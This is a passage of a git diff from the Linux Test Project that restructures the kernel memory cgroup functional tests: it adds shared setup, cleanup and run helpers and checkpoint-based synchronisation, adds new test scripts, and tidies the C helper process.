-	kill -s USR1 $! 2> /dev/null
-	sleep 1
+	signal_memcg_process $! $PAGESIZE
 	check_mem_stat "rss" $PAGESIZE
 
 	cd subgroup
@@ -354,23 +424,27 @@
 	# cleanup
 	cd ..
 	echo $! > tasks
-	kill -s INT $! 2> /dev/null
-	sleep 1
+	stop_memcg_process $!
 	rmdir subgroup
 }
 
 # Run test cases which test memory.move_charge_at_immigrate
-# $1 - the parameters of 'process', such as --shm
-# $2 - the -s parameter of 'process', such as 4096
-# $3 - some positive value, such as 1
-# $4 - the expected size
-# $5 - the expected size
 test_move_charge()
 {
+	local memtypes="$1"
+	local size=$2
+	local total_size=$3
+	local move_charge_mask=$4
+	local b_rss=$5
+	local b_cache=$6
+	local a_rss=$7
+	local a_cache=$8
+
 	mkdir subgroup_a
 
-	$TEST_PATH/memcg_process $1 -s $2 &
-	sleep 1
+	tst_resm TINFO "Running memcg_process $memtypes -s $size"
+	memcg_process $memtypes -s $size &
+	TST_CHECKPOINT_WAIT 0
 	warmup $!
 	if [ $? -ne 0 ]; then
 		rmdir subgroup_a
@@ -378,30 +452,27 @@
 	fi
 
 	echo $! > subgroup_a/tasks
-	kill -s USR1 $!
-	sleep 1
+	signal_memcg_process $! $total_size "subgroup_a/"
 
 	mkdir subgroup_b
-	echo $3 > subgroup_b/memory.move_charge_at_immigrate
+	echo $move_charge_mask > subgroup_b/memory.move_charge_at_immigrate
 	echo $! > subgroup_b/tasks
 
 	cd subgroup_b
-	check_mem_stat "rss" $4
-	check_mem_stat "cache" $5
+	check_mem_stat "rss" $b_rss
+	check_mem_stat "cache" $b_cache
 	cd ../subgroup_a
-	check_mem_stat "rss" $6
-	check_mem_stat "cache" $7
-
+	check_mem_stat "rss" $a_rss
+	check_mem_stat "cache" $a_cache
 	cd ..
-	echo $! > tasks
-	kill -s USR1 $!
-	kill -s INT $!
-	sleep 1
+	stop_memcg_process $!
 	rmdir subgroup_a subgroup_b
 }
 
-cleanup()
+cleanup_test()
 {
+	TEST_ID="$1"
+
 	if [ -n "$orig_memory_use_hierarchy" ];then
 		echo $orig_memory_use_hierarchy > \
 		     /dev/memcg/memory.use_hierarchy
@@ -413,18 +484,22 @@
 	fi
 
 	killall -9 memcg_process 2>/dev/null
-	if [ -e /dev/memcg ]; then
-		umount /dev/memcg 2>/dev/null
-		rmdir /dev/memcg 2>/dev/null
-	fi
+	wait
+
+	ROD cd "$TMP_DIR"
+
+	ROD rmdir "/dev/memcg/$TEST_ID"
+	TEST_ID=""
+	ROD umount /dev/memcg
+	ROD rmdir /dev/memcg
 }
 
-do_mount()
+setup_test()
 {
-	cleanup
+	TEST_ID="$1"
 
-	mkdir /dev/memcg 2> /dev/null
-	mount -t cgroup -omemory memcg /dev/memcg
+	ROD mkdir /dev/memcg
+	ROD mount -t cgroup -omemory memcg /dev/memcg
 
 	# The default value for memory.use_hierarchy is 0 and some of tests
 	# (memcg_stat_test.sh and memcg_use_hierarchy_test.sh) expect it so
@@ -442,4 +517,30 @@
 				"to 0 failed"
 		fi
 	fi
+
+	ROD mkdir "/dev/memcg/$TEST_ID"
+	ROD cd "/dev/memcg/$TEST_ID"
+}
+
+# Run all the test cases
+run_tests()
+{
+	for i in $(seq 1 $TST_TOTAL); do
+
+		tst_resm TINFO "Starting test $i"
+
+		setup_test $i
+
+		if [ -e memory.memsw.limit_in_bytes ]; then
+			MEMSW_LIMIT_FLAG=1
+		fi
+
+		if [ -e memory.memsw.max_usage_in_bytes ]; then
+			MEMSW_USAGE_FLAG=1
+		fi
+
+		testcase_$i
+
+		cleanup_test $i
+	done
 }
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
new file mode 100755
index 0000000..fc7c6f2
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
@@ -0,0 +1,126 @@
+#!/bin/sh
+
+################################################################################
+##                                                                            ##
+## Copyright (c) 2009 FUJITSU LIMITED                                         ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
+## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
+## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
+##						<risrajak@linux.vnet.ibm.com  ##
+##                                                                            ##
+################################################################################
+
+TCID="memcg_limit_in_bytes"
+TST_TOTAL=15
+
+. memcg_lib.sh
+
+# Test mmap(locked) + alloc_mem > limit_in_bytes
+testcase_1()
+{
+	test_proc_kill $PAGESIZE "--mmap-lock1" $((PAGESIZE*2)) 0
+}
+
+testcase_2()
+{
+	test_proc_kill $PAGESIZE "--mmap-lock2" $((PAGESIZE*2)) 0
+}
+
+# Test swapoff + alloc_mem > limit_in_bytes
+testcase_3()
+{
+	swapoff -a
+	test_proc_kill $PAGESIZE "--mmap-anon" $((PAGESIZE*2)) 0
+	swapon -a
+}
+
+testcase_4()
+{
+	swapoff -a
+	test_proc_kill $PAGESIZE "--mmap-file" $((PAGESIZE*2)) 0
+	swapon -a
+}
+
+testcase_5()
+{
+	swapoff -a
+	test_proc_kill $PAGESIZE "--shm -k 18" $((PAGESIZE*2)) 0
+	swapon -a
+}
+
+# Test limit_in_bytes == 0
+testcase_6()
+{
+	test_proc_kill 0 "--mmap-anon" $PAGESIZE 0
+}
+
+testcase_7()
+{
+	test_proc_kill 0 "--mmap-file" $PAGESIZE 0
+}
+
+testcase_8()
+{
+	test_proc_kill 0 "--shm -k 21" $PAGESIZE 0
+}
+
+# Test limit_in_bytes will be aligned to PAGESIZE
+testcase_9()
+{
+	test_limit_in_bytes $((PAGESIZE-1)) 0
+}
+
+testcase_10()
+{
+	test_limit_in_bytes $((PAGESIZE+1)) 0
+}
+
+testcase_11()
+{
+	test_limit_in_bytes 1 0
+}
+
+# Test invalid memory.limit_in_bytes
+testcase_12()
+{
+	if tst_kvcmp -lt "2.6.31"; then
+		EXPECT_FAIL echo -1 \> memory.limit_in_bytes
+	else
+		EXPECT_PASS echo -1 \> memory.limit_in_bytes
+	fi
+}
+
+testcase_13()
+{
+	EXPECT_FAIL echo 1.0 \> memory.limit_in_bytes
+}
+
+testcase_14()
+{
+	EXPECT_FAIL echo 1xx \> memory.limit_in_bytes
+}
+
+testcase_15()
+{
+	EXPECT_FAIL echo xx \> memory.limit_in_bytes
+}
+
+shmmax_setup
+LOCAL_CLEANUP=shmmax_cleanup
+run_tests
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
index 9e286f5..91112be 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
@@ -26,13 +26,10 @@
 # History:      2012/01/17 - Created.
 #
 
-export TCID="memcg_max_usage_in_bytes_test"
-export TST_TOTAL=4
-export TST_COUNT=0
+TCID="memcg_max_usage_in_bytes_test"
+TST_TOTAL=4
 
-. memcg_lib.sh || exit 1
-
-MEM_SWAP_FLAG=0
+. memcg_lib.sh
 
 # Test memory.max_usage_in_bytes
 testcase_1()
@@ -44,7 +41,7 @@
 # Test memory.memsw.max_usage_in_bytes
 testcase_2()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_USAGE_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
@@ -65,7 +62,7 @@
 # Test reset memory.memsw.max_usage_in_bytes
 testcase_4()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_USAGE_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
@@ -76,39 +73,7 @@
 		"memory.memsw.max_usage_in_bytes" $((PAGESIZE*1024)) 1
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
+tst_exit
 
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	if [ -e memory.memsw.max_usage_in_bytes ]; then
-		MEM_SWAP_FLAG=1
-	fi
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
index f49508c..ab3f8c8 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
@@ -26,13 +26,10 @@
 # History:      2012/01/3 - Created.
 #
 
-export TCID="memcg_memsw_limit_in_bytes_test"
-export TST_TOTAL=12
-export TST_COUNT=0
+TCID="memcg_memsw_limit_in_bytes_test"
+TST_TOTAL=12
 
-. memcg_lib.sh || exit 1
-
-MEM_SWAP_FLAG=0
+. memcg_lib.sh
 
 testcase_1()
 {
@@ -76,91 +73,53 @@
 
 testcase_9()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
 
 	echo 10M > memory.limit_in_bytes
-	echo -1 > memory.memsw.limit_in_bytes 2> /dev/null
-	ret=$?
-	tst_kvercmp 2 6 31
-	if [ $? -eq 0 ]; then
-		result $(( !($ret != 0) ))  "return value is $ret"
+
+	if tst_kvcmp -lt "2.6.31"; then
+		EXPECT_FAIL echo -1 \> memory.memsw.limit_in_bytes
 	else
-		result $(( !($ret == 0) ))  "return value is $ret"
+		EXPECT_PASS echo -1 \> memory.memsw.limit_in_bytes
 	fi
 }
 
 testcase_10()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
 
 	echo 10M > memory.limit_in_bytes
-	echo 1.0 > memory.memsw.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
+	EXPECT_FAIL echo 1.0 \> memory.memsw.limit_in_bytes
 }
 
 testcase_11()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
 
 	echo 10M > memory.limit_in_bytes
-	echo 1xx > memory.memsw.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
+	EXPECT_FAIL echo 1xx \> memory.memsw.limit_in_bytes
 }
 
 testcase_12()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
 
 	echo 10M > memory.limit_in_bytes
-	echo xx > memory.memsw.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
+	EXPECT_FAIL echo xx \> memory.memsw.limit_in_bytes
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
-
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	if [ -e memory.memsw.limit_in_bytes ]; then
-		MEM_SWAP_FLAG=1
-	fi
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
index 406bd07..6cdc7ed 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
@@ -26,67 +26,38 @@
 # History:      2012/01/16 - Created.
 #
 
-export TCID="memcg_move_charge_at_immigrate_test"
-export TST_TOTAL=4
-export TST_COUNT=0
+TCID="memcg_move_charge_at_immigrate_test"
+TST_TOTAL=4
 
-. memcg_lib.sh || exit 1
+. memcg_lib.sh
 
 # Test disable moving charges
 testcase_1()
 {
-	test_move_charge "--mmap-anon" $PAGESIZE  0 0 0 $PAGESIZE 0
+	test_move_charge "--mmap-anon" $PAGESIZE $PAGESIZE 0 0 0 $PAGESIZE 0
 }
 
 # Test move anon
 testcase_2()
 {
-	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE 1 \
-		$PAGESIZE 0 0 $((PAGESIZE*2))
+	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE \
+		$((PAGESIZE*3)) 1 $PAGESIZE 0 0 $((PAGESIZE*2))
 }
 
 # Test move file
 testcase_3()
 {
-	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE 2 \
-		0 $((PAGESIZE*2)) $PAGESIZE 0
+	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE \
+		$((PAGESIZE*3)) 2 0 $((PAGESIZE*2)) $PAGESIZE 0
 }
 
 # Test move anon and file
 testcase_4()
 {
-	test_move_charge "--mmap-anon --shm" $PAGESIZE 3 $PAGESIZE $PAGESIZE 0 0
+	test_move_charge "--mmap-anon --shm" $PAGESIZE \
+		$((PAGESIZE*2)) 3 $PAGESIZE $PAGESIZE 0 0
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
-
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_process.c b/testcases/kernel/controllers/memcg/functional/memcg_process.c
index c12fae1..29a535c 100644
--- a/testcases/kernel/controllers/memcg/functional/memcg_process.c
+++ b/testcases/kernel/controllers/memcg/functional/memcg_process.c
@@ -34,21 +34,23 @@
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
-int fd;
+static int fd;
 
-int flag_exit;
-int flag_allocated;
+static volatile int flag_exit;
+static volatile int flag_allocated;
 
-int opt_mmap_anon;
-int opt_mmap_file;
-int opt_mmap_lock1;
-int opt_mmap_lock2;
-int opt_shm;
-int opt_hugepage;
+static int opt_mmap_anon;
+static int opt_mmap_file;
+static int opt_mmap_lock1;
+static int opt_mmap_lock2;
+static int opt_shm;
+static int opt_hugepage;
 
-int key_id;			/* used with opt_shm */
-unsigned long memsize;
+static int key_id;			/* used with opt_shm */
+static unsigned long memsize;
 
 #define FILE_HUGEPAGE	"/hugetlb/hugepagefile"
 
@@ -59,7 +61,7 @@
 #define SHM		(SCHAR_MAX + 5)
 #define HUGEPAGE	(SCHAR_MAX + 6)
 
-const struct option long_opts[] = {
+static const struct option long_opts[] = {
 	{"mmap-anon", 0, NULL, MMAP_ANON},
 	{"mmap-file", 0, NULL, MMAP_FILE},
 	{"mmap-lock1", 0, NULL, MMAP_LOCK1},
@@ -74,7 +76,7 @@
 /*
  * process_options: read options from user input
  */
-void process_options(int argc, char *argv[])
+static void process_options(int argc, char *argv[])
 {
 	int c;
 	char *end;
@@ -117,7 +119,7 @@
 /*
  * touch_memory: force allocating phy memory
  */
-void touch_memory(char *p, int size)
+static void touch_memory(char *p, int size)
 {
 	int i;
 	int pagesize = getpagesize();
@@ -126,7 +128,7 @@
 		p[i] = 0xef;
 }
 
-void mmap_anon()
+static void mmap_anon(void)
 {
 	static char *p;
 
@@ -142,7 +144,7 @@
 	}
 }
 
-void mmap_file()
+static void mmap_file(void)
 {
 	static char *p;
 	static int fd_hugepage;
@@ -177,7 +179,7 @@
 	}
 }
 
-void mmap_lock1()
+static void mmap_lock1(void)
 {
 	static char *p;
 
@@ -193,7 +195,7 @@
 	}
 }
 
-void mmap_lock2()
+static void mmap_lock2(void)
 {
 	static char *p;
 
@@ -215,7 +217,7 @@
 	}
 }
 
-void shm()
+static void shm(void)
 {
 	static char *p;
 	static int shmid;
@@ -235,30 +237,27 @@
 		shmid = shmget(key, memsize, flag);
 		if (shmid == -1)
 			err(1, "shmget() failed");
-		shmctl(shmid, IPC_RMID, NULL);
-
-		shmid = shmget(key, memsize, flag);
-		if (shmid == -1)
-			err(1, "shmget() failed");
 
 		p = shmat(shmid, NULL, 0);
 		if (p == (void *)-1) {
 			shmctl(shmid, IPC_RMID, NULL);
 			err(1, "shmat() failed");
 		}
+
+		if (shmctl(shmid, IPC_RMID, NULL) == -1)
+			err(1, "shmctl() failed");
+
 		touch_memory(p, memsize);
 	} else {
 		if (shmdt(p) == -1)
 			err(1, "shmdt() failed");
-		if (shmctl(shmid, IPC_RMID, NULL) == -1)
-			err(1, "shmctl() failed");
 	}
 }
 
 /*
  * sigint_handler: handle SIGINT by set the exit flag.
  */
-void sigint_handler(int __attribute__ ((unused)) signo)
+static void sigint_handler(int __attribute__ ((unused)) signo)
 {
 	flag_exit = 1;
 }
@@ -272,7 +271,7 @@
  * When we receive SIGUSR again, we will free all the allocated
  * memory.
  */
-void sigusr_handler(int __attribute__ ((unused)) signo)
+static void sigusr_handler(int __attribute__ ((unused)) signo)
 {
 	if (opt_mmap_anon)
 		mmap_anon();
@@ -303,17 +302,22 @@
 	memset(&sigint_action, 0, sizeof(sigint_action));
 	memset(&sigusr_action, 0, sizeof(sigusr_action));
 
-	/* TODO: add error handling below. */
 	sigemptyset(&sigint_action.sa_mask);
 	sigint_action.sa_handler = &sigint_handler;
-	sigaction(SIGINT, &sigint_action, NULL);
+	if (sigaction(SIGINT, &sigint_action, NULL))
+		err(1, "sigaction(SIGINT)");
 
 	sigemptyset(&sigusr_action.sa_mask);
 	sigusr_action.sa_handler = &sigusr_handler;
-	sigaction(SIGUSR1, &sigusr_action, NULL);
+	if (sigaction(SIGUSR1, &sigusr_action, NULL))
+		err(1, "sigaction(SIGUSR1)");
 
 	process_options(argc, argv);
 
+	tst_reinit();
+
+	TST_CHECKPOINT_WAKE(0);
+
 	while (!flag_exit)
 		sleep(1);
 
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
new file mode 100755
index 0000000..a41e157
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
@@ -0,0 +1,89 @@
+#!/bin/sh
+
+################################################################################
+##                                                                            ##
+## Copyright (c) 2009 FUJITSU LIMITED                                         ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
+## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
+## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
+##						<risrajak@linux.vnet.ibm.com  ##
+##                                                                            ##
+################################################################################
+
+TCID="memcg_stat_rss"
+TST_TOTAL=10
+
+. memcg_lib.sh
+
+# Test the management and counting of memory
+testcase_1()
+{
+	test_mem_stat "--mmap-anon" $PAGESIZE $PAGESIZE "rss" $PAGESIZE false
+}
+
+testcase_2()
+{
+	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 false
+}
+
+testcase_3()
+{
+	test_mem_stat "--shm -k 3" $PAGESIZE $PAGESIZE "rss" 0 false
+}
+
+testcase_4()
+{
+	test_mem_stat "--mmap-anon --mmap-file --shm" \
+		$PAGESIZE $((PAGESIZE*3)) "rss" $PAGESIZE false
+}
+
+testcase_5()
+{
+	test_mem_stat "--mmap-lock1" $PAGESIZE $PAGESIZE "rss" $PAGESIZE false
+}
+
+testcase_6()
+{
+	test_mem_stat "--mmap-anon" $PAGESIZE $PAGESIZE "rss" $PAGESIZE true
+}
+
+testcase_7()
+{
+	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 true
+}
+
+testcase_8()
+{
+	test_mem_stat "--shm -k 8" $PAGESIZE $PAGESIZE "rss" 0 true
+}
+
+testcase_9()
+{
+	test_mem_stat "--mmap-anon --mmap-file --shm" \
+		$PAGESIZE $((PAGESIZE*3)) "rss" $PAGESIZE true
+}
+
+testcase_10()
+{
+	test_mem_stat "--mmap-lock1" $PAGESIZE $PAGESIZE "rss" $PAGESIZE true
+}
+
+shmmax_setup
+LOCAL_CLEANUP=shmmax_cleanup
+run_tests
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
index 0151f85..2c47a92 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
@@ -26,36 +26,36 @@
 # History:      2012/01/16 - Created.
 #
 
-export TCID="memcg_stat_test"
-export TST_TOTAL=8
-export TST_COUNT=0
+TCID="memcg_stat_test"
+TST_TOTAL=8
 
-. memcg_lib.sh || exit 1
-
-MEM_SWAP_FLAG=0
+. memcg_lib.sh
 
 # Test cache
 testcase_1()
 {
-	test_mem_stat "--shm -k 3" $PAGESIZE "cache" $PAGESIZE 0
+	test_mem_stat "--shm -k 3" $PAGESIZE $PAGESIZE "cache" $PAGESIZE false
 }
 
 # Test mapped_file
 testcase_2()
 {
-	test_mem_stat "--mmap-file" $PAGESIZE "mapped_file" $PAGESIZE 0
+	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE \
+		"mapped_file" $PAGESIZE false
 }
 
 # Test unevictable with MAP_LOCKED
 testcase_3()
 {
-	test_mem_stat "--mmap-lock1" $PAGESIZE "unevictable" $PAGESIZE 0
+	test_mem_stat "--mmap-lock1" $PAGESIZE $PAGESIZE \
+		"unevictable" $PAGESIZE false
 }
 
 # Test unevictable with mlock
 testcase_4()
 {
-	test_mem_stat "--mmap-lock2" $PAGESIZE "unevictable" $PAGESIZE 0
+	test_mem_stat "--mmap-lock2" $PAGESIZE $PAGESIZE \
+		"unevictable" $PAGESIZE false
 }
 
 # Test hierarchical_memory_limit with enabling hierarchical accounting
@@ -93,7 +93,7 @@
 # Test hierarchical_memsw_limit with enabling hierarchical accounting
 testcase_7()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
@@ -116,7 +116,7 @@
 # Test hierarchical_memsw_limit with disabling hierarchical accounting
 testcase_8()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_LIMIT_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
@@ -136,39 +136,7 @@
 	rmdir subgroup
 }
 
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
+run_tests
 
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
+tst_exit
 
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	if [ -e memory.memsw.limit_in_bytes ]; then
-		MEM_SWAP_FLAG=1
-	fi
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
diff --git a/testcases/kernel/numa/test.sh b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
old mode 100644
new mode 100755
similarity index 63%
rename from testcases/kernel/numa/test.sh
rename to testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
index 112cdaa..6b97407
--- a/testcases/kernel/numa/test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
@@ -1,6 +1,8 @@
+#!/bin/sh
+
 ################################################################################
 ##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2007                 ##
+## Copyright (c) 2009 FUJITSU LIMITED                                         ##
 ##                                                                            ##
 ## This program is free software;  you can redistribute it and#or modify      ##
 ## it under the terms of the GNU General Public License as published by       ##
@@ -13,45 +15,36 @@
 ## for more details.                                                          ##
 ##                                                                            ##
 ## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
+## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
+## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
+##						<risrajak@linux.vnet.ibm.com  ##
 ##                                                                            ##
 ################################################################################
-#
-# Author         Pradeep Kumar Surisetty, pradeepkumars@in.ibm.com
-#
-# History        Nov 27 2007 -created- pradeep kumar surisetty
-#! /bin/sh
-#
-# File :         test.sh
 
+TCID="memcg_subgroup_charge"
+TST_TOTAL=3
 
-#!/bin/sh
-x=0
-chk_ifexist()
+. memcg_lib.sh
+
+# Test that group and subgroup have no relationship
+testcase_1()
 {
-if [ ! -d /sys/devices/system/node ]
-then
-x=0
-else
-x=$(ls /sys/devices/system/node | wc -l)
-fi
-if [ $x -gt 1 ]
-then
-	if [ ! -f /usr/include/numa.h ]
-	then
-		echo no;
- 	else
-		echo yes;
-	fi
-else
-        echo no;     #numa is not present
-
-fi
+	test_subgroup $PAGESIZE $((2*PAGESIZE))
 }
-if [ "$CROSS_COMPILER" = "" ] then
-	chk_ifexist
-else
-    echo no;
-fi
 
+testcase_2()
+{
+	test_subgroup $PAGESIZE $PAGESIZE
+}
+
+testcase_3()
+{
+	test_subgroup $PAGESIZE 0
+}
+
+run_tests
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
index a4d0542..8e2e628 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
@@ -26,68 +26,33 @@
 # History:      2012/01/16 - Created.
 #
 
-export TCID="memcg_usage_in_bytes_test"
-export TST_TOTAL=2
-export TST_COUNT=0
+TCID="memcg_usage_in_bytes_test"
+TST_TOTAL=2
 
-. memcg_lib.sh || exit 1
-
-MEM_SWAP_FLAG=0
+. memcg_lib.sh
 
 # Test memory.usage_in_bytes
 testcase_1()
 {
-	test_mem_stat "--mmap-anon" $((PAGESIZE*1024)) \
-		"memory.usage_in_bytes" $((PAGESIZE*1024)) 0
+	test_mem_stat "--mmap-anon" $((PAGESIZE*1024)) $((PAGESIZE*1024)) \
+		"memory.usage_in_bytes" $((PAGESIZE*1024)) false
 }
 
 # Test memory.memsw.usage_in_bytes
 testcase_2()
 {
-	if [ $MEM_SWAP_FLAG -eq 0 ]; then
+	if [ "$MEMSW_USAGE_FLAG" -eq 0 ]; then
 		tst_resm TCONF "mem+swap is not enabled"
 		return
 	fi
 
 	echo $((PAGESIZE*2048)) > memory.limit_in_bytes
